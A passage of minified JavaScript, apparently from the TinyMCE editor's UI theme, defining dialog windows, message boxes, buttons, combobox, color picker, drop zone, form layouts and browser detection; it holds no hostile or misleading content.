Date).getTime()-e&&(n=!0)}}),t=i.layoutRect(),i._fullscreen=e){i._initial={x:t.x,y:t.y,w:t.w,h:t.h},i.borderBox=Me("0"),i.getEl("head").style.display="none",t.deltaH-=t.headerH+2,ye([r,_.document.body]).addClass(o+"fullscreen"),i.classes.add("fullscreen");var s=we.getWindowSize();i.moveTo(0,0).resizeTo(s.w,s.h)}else i.borderBox=Me(i.settings.border),i.getEl("head").style.display="",t.deltaH+=t.headerH,ye([r,_.document.body]).removeClass(o+"fullscreen"),i.classes.remove("fullscreen"),i.moveTo(i._initial.x,i._initial.y).resizeTo(i._initial.w,i._initial.h);return i.reflow()},postRender:function(){var t,n=this;setTimeout(function(){n.classes.add("in"),n.fire("open")},0),n._super(),n.statusbar&&n.statusbar.postRender(),n.focus(),this.dragHelper=new ct(n._id+"-dragh",{start:function(){t={x:n.layoutRect().x,y:n.layoutRect().y}},drag:function(e){n.moveTo(t.x+e.deltaX,t.y+e.deltaY)}}),n.on("submit",function(e){e.isDefaultPrevented()||n.close()}),At.push(n),Lt(!0)},submit:function(){return this.fire("submit",{data:this.toJSON()})},remove:function(){var e,t=this;for(t.dragHelper.destroy(),t._super(),t.statusbar&&this.statusbar.remove(),zt(t.classPrefix,!1),e=At.length;e--;)At[e]===t&&At.splice(e,1);Lt(0<At.length)},getContentWindow:function(){var e=this.getEl().getElementsByTagName("iframe")[0];return e?e.contentWindow:null}});!function(){if(!ce.desktop){var n={w:_.window.innerWidth,h:_.window.innerHeight};u.setInterval(function(){var e=_.window.innerWidth,t=_.window.innerHeight;n.w===e&&n.h===t||(n={w:e,h:t},ye(_.window).trigger("resize"))},100)}ye(_.window).on("resize",function(){var e,t,n=we.getWindowSize();for(e=0;e<At.length;e++)t=At[e].layoutRect(),At[e].moveTo(At[e].settings.x||Math.max(0,n.w/2-t.w/2),At[e].settings.y||Math.max(0,n.h/2-t.h/2))})}();var Ft,Ut,Vt,Yt=It.extend({init:function(e){e={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(e)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(e){var t,i=e.callback||function(){};function n(e,t,n){return{type:"button",text:e,subtype:n?"primary":"",onClick:function(e){e.control.parents()[1].close(),i(t)}}}switch(e.buttons){case Yt.OK_CANCEL:t=[n("Ok",!0,!0),n("Cancel",!1)];break;case Yt.YES_NO:case Yt.YES_NO_CANCEL:t=[n("Yes",1,!0),n("No",0)],e.buttons===Yt.YES_NO_CANCEL&&t.push(n("Cancel",-1));break;default:t=[n("Ok",!0,!0)]}return new It({padding:20,x:e.x,y:e.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:t,title:e.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:e.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:e.onClose,onCancel:function(){i(!1)}}).renderTo(_.document.body).reflow()},alert:function(e,t){return"string"==typeof e&&(e={text:e}),e.callback=t,Yt.msgBox(e)},confirm:function(e,t){return"string"==typeof e&&(e={text:e}),e.callback=t,e.buttons=Yt.OK_CANCEL,Yt.msgBox(e)}}}),$t=function(n){return{renderUI:function(e){return Tt(n,this,e)},resizeTo:function(e,t){return le(n,e,t)},resizeBy:function(e,t){return ue(n,e,t)},getNotificationManagerImpl:function(){return Ot(n)},getWindowManagerImpl:function(){return{open:function(n,e,t){var i;return n.title=n.title||" ",n.url=n.url||n.file,n.url&&(n.width=parseInt(n.width||320,10),n.height=parseInt(n.height||240,10)),n.body&&(n.items={defaults:n.defaults,type:n.bodyType||"form",items:n.body,data:n.data,callbacks:n.commands}),n.url||n.buttons||(n.buttons=[{text:"Ok",subtype:"primary",onclick:function(){i.find("form")[0].submit()}},{text:"Cancel",onclick:function(){i.close()}}]),(i=new It(n)).on("close",function(){t(i)}),n.data&&i.on("postRender",function(){this.find("*").each(function(e){var t=e.name();t in n.data&&e.value(n.data[t])})}),i.features=n||{},i.params=e||{},i=i.renderTo(_.document.body).reflow()},alert:function(e,t,n){var i;return(i=Yt.alert(e,function(){t()})).on("close",function(){n(i)}),i},confirm:function(e,t,n){var i;return(i=Yt.confirm(e,function(e){t(e)})).on("close",function(){n(i)}),i},close:function(e){e.close()},getParams:function(e){return e.params},setParams:function(e,t){e.params=t}}}}},qt=Se.extend({Defaults:{firstControlClass:"first",lastControlClass:"last"},init:function(e){this.settings=w.extend({},this.Defaults,e)},preRender:function(e){e.bodyClasses.add(this.settings.containerClass)},applyClasses:function(e){var t,n,i,r,o=this.settings;t=o.firstControlClass,n=o.lastControlClass,e.each(function(e){e.classes.remove(t).remove(n).add(o.controlClass),e.visible()&&(i||(i=e),r=e)}),i&&i.classes.add(t),r&&r.classes.add(n)},renderHtml:function(e){var t="";return this.applyClasses(e.items()),e.items().each(function(e){t+=e.renderHtml()}),t},recalc:function(){},postRender:function(){},isNative:function(){return!1}}),Xt=qt.extend({Defaults:{containerClass:"abs-layout",controlClass:"abs-layout-item"},recalc:function(e){e.items().filter(":visible").each(function(e){var t=e.settings;e.layoutRect({x:t.x,y:t.y,w:t.w,h:t.h}),e.recalc&&e.recalc()})},renderHtml:function(e){return'<div id="'+e._id+'-absend" class="'+e.classPrefix+'abs-end"></div>'+this._super(e)}}),jt=Nt.extend({Defaults:{classes:"widget btn",role:"button"},init:function(e){var t,n=this;n._super(e),e=n.settings,t=n.settings.size,n.on("click mousedown",function(e){e.preventDefault()}),n.on("touchstart",function(e){n.fire("click",e),e.preventDefault()}),e.subtype&&n.classes.add(e.subtype),t&&n.classes.add("btn-"+t),e.icon&&n.icon(e.icon)},icon:function(e){return arguments.length?(this.state.set("icon",e),this):this.state.get("icon")},repaint:function(){var e,t=this.getEl().firstChild;t&&((e=t.style).width=e.height="100%"),this._super()},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a="",l=n.settings;return(e=l.image)?(o="none","string"!=typeof e&&(e=_.window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",s&&(n.classes.add("btn-has-text"),a='<span class="'+r+'txt">'+n.encode(s)+"</span>"),o=o?r+"ico "+r+"i-"+o:"",t="boolean"==typeof l.active?' aria-pressed="'+l.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" tabindex="-1"'+t+'><button id="'+i+'-button" role="presentation" type="button" tabindex="-1">'+(o?'<i class="'+o+'"'+e+"></i>":"")+a+"</button></div>"},bindStates:function(){var o=this,n=o.$,i=o.classPrefix+"txt";function s(e){var t=n("span."+i,o.getEl());e?(t[0]||(n("button:first",o.getEl()).append('<span class="'+i+'"></span>'),t=n("span."+i,o.getEl())),t.html(o.encode(e))):t.remove(),o.classes.toggle("btn-has-text",!!e)}return o.state.on("change:text",function(e){s(e.value)}),o.state.on("change:icon",function(e){var t=e.value,n=o.classPrefix;t=(o.settings.icon=t)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];t?(r&&r===i.firstChild||(r=_.document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=t):r&&i.removeChild(r),s(o.state.get("text"))}),o._super()}}),Jt=jt.extend({init:function(e){e=w.extend({text:"Browse...",multiple:!1,accept:null},e),this._super(e),this.classes.add("browsebutton"),e.multiple&&this.classes.add("multiple")},postRender:function(){var n=this,t=we.create("input",{type:"file",id:n._id+"-browse",accept:n.settings.accept});n._super(),ye(t).on("change",function(e){var t=e.target.files;n.value=function(){return t.length?n.settings.multiple?t:t[0]:null},e.preventDefault(),t.length&&n.fire("change",e)}),ye(t).on("click",function(e){e.stopPropagation()}),ye(n.getEl("button")).on("click touchstart",function(e){e.stopPropagation(),t.click(),e.preventDefault()}),n.getEl().appendChild(t)},remove:function(){ye(this.getEl("button")).off(),ye(this.getEl("input")).off(),this._super()}}),Gt=lt.extend({Defaults:{defaultType:"button",role:"group"},renderHtml:function(){var e=this,t=e._layout;return e.classes.add("btn-group"),e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'"><div id="'+e._id+'-body">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}}),Kt=Nt.extend({Defaults:{classes:"checkbox",role:"checkbox",checked:!1},init:function(e){var t=this;t._super(e),t.on("click mousedown",function(e){e.preventDefault()}),t.on("click",function(e){e.preventDefault(),t.disabled()||t.checked(!t.checked())}),t.checked(t.settings.checked)},checked:function(e){return arguments.length?(this.state.set("checked",e),this):this.state.get("checked")},value:function(e){return arguments.length?this.checked(e):this.checked()},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix;return'<div id="'+t+'" class="'+e.classes+'" unselectable="on" aria-labelledby="'+t+'-al" tabindex="-1"><i class="'+n+"ico "+n+'i-checkbox"></i><span id="'+t+'-al" class="'+n+'label">'+e.encode(e.state.get("text"))+"</span></div>"},bindStates:function(){var o=this;function t(e){o.classes.toggle("checked",e),o.aria("checked",e)}return o.state.on("change:text",function(e){o.getEl("al").firstChild.data=o.translate(e.value)}),o.state.on("change:checked change:value",function(e){o.fire("change"),t(e.value)}),o.state.on("change:icon",function(e){var t=e.value,n=o.classPrefix;if(void 0===t)return o.settings.icon;t=(o.settings.icon=t)?n+"ico "+n+"i-"+o.settings.icon:"";var i=o.getEl().firstChild,r=i.getElementsByTagName("i")[0];t?(r&&r===i.firstChild||(r=_.document.createElement("i"),i.insertBefore(r,i.firstChild)),r.className=t):r&&i.removeChild(r)}),o.state.get("checked")&&t(!0),o._super()}}),Zt=tinymce.util.Tools.resolve("tinymce.util.VK"),Qt=Nt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.classes.add("combobox"),r.subinput=!0,r.ariaTarget="inp",i.menu=i.menu||i.values,i.menu&&(i.icon="caret"),r.on("click",function(e){var t=e.target,n=r.getEl();if(ye.contains(n,t)||t===n)for(;t&&t!==n;)t.id&&-1!==t.id.indexOf("-open")&&(r.fire("action"),i.menu&&(r.showMenu(),e.aria&&r.menu.items()[0].focus())),t=t.parentNode}),r.on("keydown",function(e){var t;13===e.keyCode&&"INPUT"===e.target.nodeName&&(e.preventDefault(),r.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),r.fire("submit",{data:t.toJSON()}))}),r.on("keyup",function(e){if("INPUT"===e.target.nodeName){var t=r.state.get("value"),n=e.target.value;n!==t&&(r.state.set("value",n),r.fire("autocomplete",e))}}),r.on("mouseover",function(e){var t=r.tooltip().moveTo(-65535);if(r.statusLevel()&&-1!==e.target.className.indexOf(r.classPrefix+"status")){var n=r.statusMessage()||"Ok",i=t.text(n).show().testMoveRel(e.target,["bc-tc","bc-tl","bc-tr"]);t.classes.toggle("tooltip-n","bc-tc"===i),t.classes.toggle("tooltip-nw","bc-tl"===i),t.classes.toggle("tooltip-ne","bc-tr"===i),t.moveRel(e.target,i)}})},statusLevel:function(e){return 0<arguments.length&&this.state.set("statusLevel",e),this.state.get("statusLevel")},statusMessage:function(e){return 0<arguments.length&&this.state.set("statusMessage",e),this.state.get("statusMessage")},showMenu:function(){var e,t=this,n=t.settings;t.menu||((e=n.menu||[]).length?e={type:"menu",items:e}:e.type=e.type||"menu",t.menu=v.create(e).parent(t).renderTo(t.getContainerElm()),t.fire("createmenu"),t.menu.reflow(),t.menu.on("cancel",function(e){e.control===t.menu&&t.focus()}),t.menu.on("show hide",function(e){e.control.items().each(function(e){e.active(e.value()===t.value())})}).fire("show"),t.menu.on("select",function(e){t.value(e.control.value())}),t.on("focusin",function(e){"INPUT"===e.target.tagName.toUpperCase()&&t.menu.hide()}),t.aria("expanded",!0)),t.menu.show(),t.menu.layoutRect({w:t.layoutRect().w}),t.menu.moveRel(t.getEl(),t.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])},focus:function(){this.getEl("inp").focus()},repaint:function(){var e,t,n=this,i=n.getEl(),r=n.getEl("open"),o=n.layoutRect(),s=0,a=i.firstChild;n.statusLevel()&&"none"!==n.statusLevel()&&(s=parseInt(we.getRuntimeStyle(a,"padding-right"),10)-parseInt(we.getRuntimeStyle(a,"padding-left"),10)),e=r?o.w-we.getSize(r).width-10:o.w-10;var l=_.document;return l.all&&(!l.documentMode||l.documentMode<=8)&&(t=n.layoutRect().h-2+"px"),ye(a).css({width:e-s,lineHeight:t}),n._super(),n},postRender:function(){var t=this;return ye(this.getEl("inp")).on("change",function(e){t.state.set("value",e.target.value),t.fire("change",e)}),t._super()},renderHtml:function(){var e,t,n,i=this,r=i._id,o=i.settings,s=i.classPrefix,a=i.state.get("value")||"",l="",u="";return"spellcheck"in o&&(u+=' spellcheck="'+o.spellcheck+'"'),o.maxLength&&(u+=' maxlength="'+o.maxLength+'"'),o.size&&(u+=' size="'+o.size+'"'),o.subtype&&(u+=' type="'+o.subtype+'"'),n='<i id="'+r+'-status" class="mce-status mce-ico" style="display: none"></i>',i.disabled()&&(u+=' disabled="disabled"'),(e=o.icon)&&"caret"!==e&&(e=s+"ico "+s+"i-"+o.icon),t=i.state.get("text"),(e||t)&&(l='<div id="'+r+'-open" class="'+s+"btn "+s+'open" tabIndex="-1" role="button"><button id="'+r+'-action" type="button" hidefocus="1" tabindex="-1">'+("caret"!==e?'<i class="'+e+'"></i>':'<i class="'+s+'caret"></i>')+(t?(e?" ":"")+t:"")+"</button></div>",i.classes.add("has-open")),'<div id="'+r+'" class="'+i.classes+'"><input id="'+r+'-inp" class="'+s+'textbox" value="'+i.encode(a,!1)+'" hidefocus="1"'+u+' placeholder="'+i.encode(o.placeholder)+'" />'+n+l+"</div>"},value:function(e){return arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl("inp").value),this.state.get("value"))},showAutoComplete:function(e,i){var r=this;if(0!==e.length){r.menu?r.menu.items().remove():r.menu=v.create({type:"menu",classes:"combobox-menu",layout:"flow"}).parent(r).renderTo(),w.each(e,function(e){var t,n;r.menu.add({text:e.title,url:e.previewUrl,match:i,classes:"menu-item-ellipsis",onclick:(t=e.value,n=e.title,function(){r.fire("selectitem",{title:n,value:t})})})}),r.menu.renderNew(),r.hideMenu(),r.menu.on("cancel",function(e){e.control.parent()===r.menu&&(e.stopPropagation(),r.focus(),r.hideMenu())}),r.menu.on("select",function(){r.focus()});var t=r.layoutRect().w;r.menu.layoutRect({w:t,minW:0,maxW:t}),r.menu.repaint(),r.menu.reflow(),r.menu.show(),r.menu.moveRel(r.getEl(),r.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"])}else r.hideMenu()},hideMenu:function(){this.menu&&this.menu.hide()},bindStates:function(){var r=this;r.state.on("change:value",function(e){r.getEl("inp").value!==e.value&&(r.getEl("inp").value=e.value)}),r.state.on("change:disabled",function(e){r.getEl("inp").disabled=e.value}),r.state.on("change:statusLevel",function(e){var t=r.getEl("status"),n=r.classPrefix,i=e.value;we.css(t,"display","none"===i?"none":""),we.toggleClass(t,n+"i-checkmark","ok"===i),we.toggleClass(t,n+"i-warning","warn"===i),we.toggleClass(t,n+"i-error","error"===i),r.classes.toggle("has-status","none"!==i),r.repaint()}),we.on(r.getEl("status"),"mouseleave",function(){r.tooltip().hide()}),r.on("cancel",function(e){r.menu&&r.menu.visible()&&(e.stopPropagation(),r.hideMenu())});var n=function(e,t){t&&0<t.items().length&&t.items().eq(e)[0].focus()};return r.on("keydown",function(e){var t=e.keyCode;"INPUT"===e.target.nodeName&&(t===Zt.DOWN?(e.preventDefault(),r.fire("autocomplete"),n(0,r.menu)):t===Zt.UP&&(e.preventDefault(),n(-1,r.menu)))}),r._super()},remove:function(){ye(this.getEl("inp")).off(),this.menu&&this.menu.remove(),this._super()}}),en=Qt.extend({init:function(e){var t=this;e.spellcheck=!1,e.onaction&&(e.icon="none"),t._super(e),t.classes.add("colorbox"),t.on("change keyup postrender",function(){t.repaintColor(t.value())})},repaintColor:function(e){var t=this.getEl("open"),n=t?t.getElementsByTagName("i")[0]:null;if(n)try{n.style.background=e}catch(i){}},bindStates:function(){var t=this;return t.state.on("change:value",function(e){t.state.get("rendered")&&t.repaintColor(e.value)}),t._super()}}),tn=jt.extend({showPanel:function(){var t=this,e=t.settings;if(t.classes.add("opened"),t.panel)t.panel.show();else{var n=e.panel;n.type&&(n={layout:"grid",items:n}),n.role=n.role||"dialog",n.popover=!0,n.autohide=!0,n.ariaRoot=!0,t.panel=new Ct(n).on("hide",function(){t.classes.remove("opened")}).on("cancel",function(e){e.stopPropagation(),t.focus(),t.hidePanel()}).parent(t).renderTo(t.getContainerElm()),t.panel.fire("show"),t.panel.reflow()}var i=t.panel.testMoveRel(t.getEl(),e.popoverAlign||(t.isRtl()?["bc-tc","bc-tl","bc-tr"]:["bc-tc","bc-tr","bc-tl","tc-bc","tc-br","tc-bl"]));t.panel.classes.toggle("start","l"===i.substr(-1)),t.panel.classes.toggle("end","r"===i.substr(-1));var r="t"===i.substr(0,1);t.panel.classes.toggle("bottom",!r),t.panel.classes.toggle("top",r),t.panel.moveRel(t.getEl(),i)},hidePanel:function(){this.panel&&this.panel.hide()},postRender:function(){var t=this;return t.aria("haspopup",!0),t.on("click",function(e){e.control===t&&(t.panel&&t.panel.visible()?t.hidePanel():(t.showPanel(),t.panel.focus(!!e.aria)))}),t._super()},remove:function(){return this.panel&&(this.panel.remove(),this.panel=null),this._super()}}),nn=p.DOM,rn=tn.extend({init:function(e){this._super(e),this.classes.add("splitbtn"),this.classes.add("colorbutton")},color:function(e){return e?(this._color=e,this.getEl("preview").style.backgroundColor=e,this):this._color},resetColor:function(){return this._color=null,this.getEl("preview").style.backgroundColor=null,this},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,i=e.state.get("text"),r=e.settings.icon?n+"ico "+n+"i-"+e.settings.icon:"",o=e.settings.image?" style=\"background-image: url('"+e.settings.image+"')\"":"",s="";return i&&(e.classes.add("btn-has-text"),s='<span class="'+n+'txt">'+e.encode(i)+"</span>"),'<div id="'+t+'" class="'+e.classes+'" role="button" tabindex="-1" aria-haspopup="true"><button role="presentation" hidefocus="1" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+o+"></i>":"")+'<span id="'+t+'-preview" class="'+n+'preview"></span>'+s+'</button><button type="button" class="'+n+'open" hidefocus="1" tabindex="-1"> <i class="'+n+'caret"></i></button></div>'},postRender:function(){var t=this,n=t.settings.onclick;return t.on("click",function(e){e.aria&&"down"===e.aria.key||e.control!==t||nn.getParent(e.target,"."+t.classPrefix+"open")||(e.stopImmediatePropagation(),n.call(t,e))}),delete t.settings.onclick,t._super()}}),on=tinymce.util.Tools.resolve("tinymce.util.Color"),sn=Nt.extend({Defaults:{classes:"widget colorpicker"},init:function(e){this._super(e)},postRender:function(){var n,i,r,o,s,a=this,l=a.color();function u(e,t){var n,i,r=we.getPos(e);return n=t.pageX-r.x,i=t.pageY-r.y,{x:n=Math.max(0,Math.min(n/e.clientWidth,1)),y:i=Math.max(0,Math.min(i/e.clientHeight,1))}}function c(e,t){var n=(360-e.h)/360;we.css(r,{top:100*n+"%"}),t||we.css(s,{left:e.s+"%",top:100-e.v+"%"}),o.style.background=on({s:100,v:100,h:e.h}).toHex(),a.color().parse({s:e.s,v:e.v,h:e.h})}function e(e){var t;t=u(o,e),n.s=100*t.x,n.v=100*(1-t.y),c(n),a.fire("change")}function t(e){var t;t=u(i,e),(n=l.toHsv()).h=360*(1-t.y),c(n,!0),a.fire("change")}i=a.getEl("h"),r=a.getEl("hp"),o=a.getEl("sv"),s=a.getEl("svp"),a._repaint=function(){c(n=l.toHsv())},a._super(),a._svdraghelper=new ct(a._id+"-sv",{start:e,drag:e}),a._hdraghelper=new ct(a._id+"-h",{start:t,drag:t}),a._repaint()},rgb:function(){return this.color().toRgb()},value:function(e){if(!arguments.length)return this.color().toHex();this.color().parse(e),this._rendered&&this._repaint()},color:function(){return this._color||(this._color=on()),this._color},renderHtml:function(){var e,t=this._id,o=this.classPrefix,s="#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000";return e='<div id="'+t+'-h" class="'+o+'colorpicker-h" style="background: -ms-linear-gradient(top,'+s+");background: linear-gradient(to bottom,"+s+');">'+function(){var e,t,n,i,r="";for(n="filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=",e=0,t=(i=s.split(",")).length-1;e<t;e++)r+='<div class="'+o+'colorpicker-h-chunk" style="height:'+100/t+"%;"+n+i[e]+",endColorstr="+i[e+1]+");-ms-"+n+i[e]+",endColorstr="+i[e+1]+')"></div>';return r}()+'<div id="'+t+'-hp" class="'+o+'colorpicker-h-marker"></div></div>','<div id="'+t+'" class="'+this.classes+'"><div id="'+t+'-sv" class="'+o+'colorpicker-sv"><div class="'+o+'colorpicker-overlay1"><div class="'+o+'colorpicker-overlay2"><div id="'+t+'-svp" class="'+o+'colorpicker-selector1"><div class="'+o+'colorpicker-selector2"></div></div></div></div></div>'+e+"</div>"}}),an=Nt.extend({init:function(e){e=w.extend({height:100,text:"Drop an image here",multiple:!1,accept:null},e),this._super(e),this.classes.add("dropzone"),e.multiple&&this.classes.add("multiple")},renderHtml:function(){var e,t,n=this.settings;return e={id:this._id,hidefocus:"1"},t=we.create("div",e,"<span>"+this.translate(n.text)+"</span>"),n.height&&we.css(t,"height",n.height+"px"),n.width&&we.css(t,"width",n.width+"px"),t.className=this.classes,t.outerHTML},postRender:function(){var i=this,e=function(e){e.preventDefault(),i.classes.toggle("dragenter"),i.getEl().className=i.classes};i._super(),i.$el.on("dragover",function(e){e.preventDefault()}),i.$el.on("dragenter",e),i.$el.on("dragleave",e),i.$el.on("drop",function(e){if(e.preventDefault(),!i.state.get("disabled")){var t=function(e){var t=i.settings.accept;if("string"!=typeof t)return e;var n=new RegExp("("+t.split(/\s*,\s*/).join("|")+")$","i");return w.grep(e,function(e){return n.test(e.name)})}(e.dataTransfer.files);i.value=function(){return t.length?i.settings.multiple?t:t[0]:null},t.length&&i.fire("change",e)}})},remove:function(){this.$el.off(),this._super()}}),ln=Nt.extend({init:function(e){var n=this;e.delimiter||(e.delimiter="\xbb"),n._super(e),n.classes.add("path"),n.canFocus=!0,n.on("click",function(e){var t;(t=e.target.getAttribute("data-index"))&&n.fire("select",{value:n.row()[t],index:t})}),n.row(n.settings.row)},focus:function(){return this.getEl().firstChild.focus(),this},row:function(e){return arguments.length?(this.state.set("row",e),this):this.state.get("row")},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'">'+this._getDataPathHtml(this.state.get("row"))+"</div>"},bindStates:function(){var t=this;return t.state.on("change:row",function(e){t.innerHtml(t._getDataPathHtml(e.value))}),t._super()},_getDataPathHtml:function(e){var t,n,i=e||[],r="",o=this.classPrefix;for(t=0,n=i.length;t<n;t++)r+=(0<t?'<div class="'+o+'divider" aria-hidden="true"> '+this.settings.delimiter+" </div>":"")+'<div role="button" class="'+o+"path-item"+(t===n-1?" "+o+"last":"")+'" data-index="'+t+'" tabindex="-1" id="'+this._id+"-"+t+'" aria-level="'+(t+1)+'">'+i[t].name+"</div>";return r||(r='<div class="'+o+'path-item">\xa0</div>'),r}}),un=ln.extend({postRender:function(){var o=this,s=o.settings.editor;function a(e){if(1===e.nodeType){if("BR"===e.nodeName||e.getAttribute("data-mce-bogus"))return!0;if("bookmark"===e.getAttribute("data-mce-type"))return!0}return!1}return!1!==s.settings.elementpath&&(o.on("select",function(e){s.focus(),s.selection.select(this.row()[e.index].element),s.nodeChanged()}),s.on("nodeChange",function(e){for(var t=[],n=e.parents,i=n.length;i--;)if(1===n[i].nodeType&&!a(n[i])){var r=s.fire("ResolveName",{name:n[i].nodeName.toLowerCase(),target:n[i]});if(r.isDefaultPrevented()||t.push({name:r.name,element:n[i]}),r.isPropagationStopped())break}o.row(t)})),o._super()}}),cn=lt.extend({Defaults:{layout:"flex",align:"center",defaults:{flex:1}},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.classes.add("formitem"),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<div id="'+e._id+'-title" class="'+n+'title">'+e.settings.title+"</div>":"")+'<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"}}),dn=lt.extend({Defaults:{containerCls:"form",layout:"flex",direction:"column",align:"stretch",flex:1,padding:15,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var i=this,e=i.items();i.settings.formItemDefaults||(i.settings.formItemDefaults={layout:"flex",autoResize:"overflow",defaults:{flex:1}}),e.each(function(e){var t,n=e.settings.label;n&&((t=new cn(w.extend({items:{type:"label",id:e._id+"-l",text:n,flex:0,forId:e._id,disabled:e.disabled()}},i.settings.formItemDefaults))).type="formitem",e.aria("labelledby",e._id+"-l"),"undefined"==typeof e.settings.flex&&(e.settings.flex=1),i.replace(e,t),t.add(e))})},submit:function(){return this.fire("submit",{data:this.toJSON()})},postRender:function(){this._super(),this.fromJSON(this.settings.data)},bindStates:function(){var n=this;function e(){var e,t,i=0,r=[];if(!1!==n.settings.labelGapCalc)for(("children"===n.settings.labelGapCalc?n.find("formitem"):n.items()).filter("formitem").each(function(e){var t=e.items()[0],n=t.getEl().clientWidth;i=i<n?n:i,r.push(t)}),t=n.settings.labelGap||0,e=r.length;e--;)r[e].settings.minWidth=i+t}n._super(),n.on("show",e),e()}}),fn=dn.extend({Defaults:{containerCls:"fieldset",layout:"flex",direction:"column",align:"stretch",flex:1,padding:"25 15 5 15",labelGap:30,spacing:10,border:1},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.preRender(),t.preRender(e),'<fieldset id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1">'+(e.settings.title?'<legend id="'+e._id+'-title" class="'+n+'fieldset-title">'+e.settings.title+"</legend>":"")+'<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></fieldset>"}}),hn=0,mn=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:k(e)}},gn={fromHtml:function(e,t){var n=(t||_.document).createElement("div");if(n.innerHTML=e,!n.hasChildNodes()||1<n.childNodes.length)throw _.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return mn(n.childNodes[0])},fromTag:function(e,t){var n=(t||_.document).createElement(e);return mn(n)},fromText:function(e,t){var n=(t||_.document).createTextNode(e);return mn(n)},fromDom:mn,fromPoint:function(e,t,n){var i=e.dom();return N.from(i.elementFromPoint(t,n)).map(mn)}},pn=(_.Node.ATTRIBUTE_NODE,_.Node.CDATA_SECTION_NODE,_.Node.COMMENT_NODE,_.Node.DOCUMENT_NODE),vn=(_.Node.DOCUMENT_TYPE_NODE,_.Node.DOCUMENT_FRAGMENT_NODE,_.Node.ELEMENT_NODE),bn=(_.Node.TEXT_NODE,_.Node.PROCESSING_INSTRUCTION_NODE,_.Node.ENTITY_REFERENCE_NODE,_.Node.ENTITY_NODE,_.Node.NOTATION_NODE,"undefined"!=typeof _.window?_.window:Function("return this;")(),function(e,t){var n=function(e,t){for(var n=0;n<e.length;n++){var i=e[n];if(i.test(t))return i}return undefined}(e,t);if(!n)return{major:0,minor:0};var i=function(e){return Number(t.replace(n,"$"+e))};return xn(i(1),i(2))}),yn=function(){return xn(0,0)},xn=function(e,t){return{major:e,minor:t}},wn={nu:xn,detect:function(e,t){var n=String(t).toLowerCase();return 0===e.length?yn():bn(e,n)},unknown:yn},_n="Firefox",Rn=function(e,t){return function(){return t===e}},Cn=function(e){var t=e.current;return{current:t,version:e.version,isEdge:Rn("Edge",t),isChrome:Rn("Chrome",t),isIE:Rn("IE",t),isOpera:Rn("Opera",t),isFirefox:Rn(_n,t),isSafari:Rn("Safari",t)}},En={unknown:function(){return Cn({current:undefined,version:wn.unknown()})},nu:Cn,edge:k("Edge"),chrome:k("Chrome"),ie:k("IE"),opera:k("Opera"),firefox:k(_n),safari:k("Safari")},kn="Windows",Hn="Android",Sn="Solaris",Tn="FreeBSD",Mn=function(e,t){return function(){return t===e}},Nn=function(e){var t=e.current;return{current:t,version:e.version,isWindows:Mn(kn,t),isiOS:Mn("iOS",t),isAndroid:Mn(Hn,t),isOSX:Mn("OSX",t),isLinux:Mn("Linux",t),isSolaris:Mn(Sn,t),isFreeBSD:Mn(Tn,t)}},Pn={unknown:function(){return Nn({current:undefined,version:wn.unknown()})},nu:Nn,windows:k(kn),ios:k("iOS"),android:k(Hn),linux:k("Linux"),osx:k("OSX"),solaris:k(Sn),freebsd:k(Tn)},Wn=function(e,t){var n=String(t).toLowerCase();return function(e,t){for(var n=0,i=e.length;n<i;n++){var r=e[n];if(t(r,n))return N.some(r)}return N.none()}(e,function(e){return e.search(n)})},Dn=function(e,n){return Wn(e,n).map(function(e){var t=wn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},On=function(e,n){return Wn(e,n).map(function(e){var t=wn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},An=function(e,t){return-1!==e.indexOf(t)},Bn=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Ln=function(t){return function(e){return An(e,t)}},zn=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return An(e,"edge/")&&An(e,"chrome")&&An(e,"safari")&&An(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,Bn],search:function(e){return 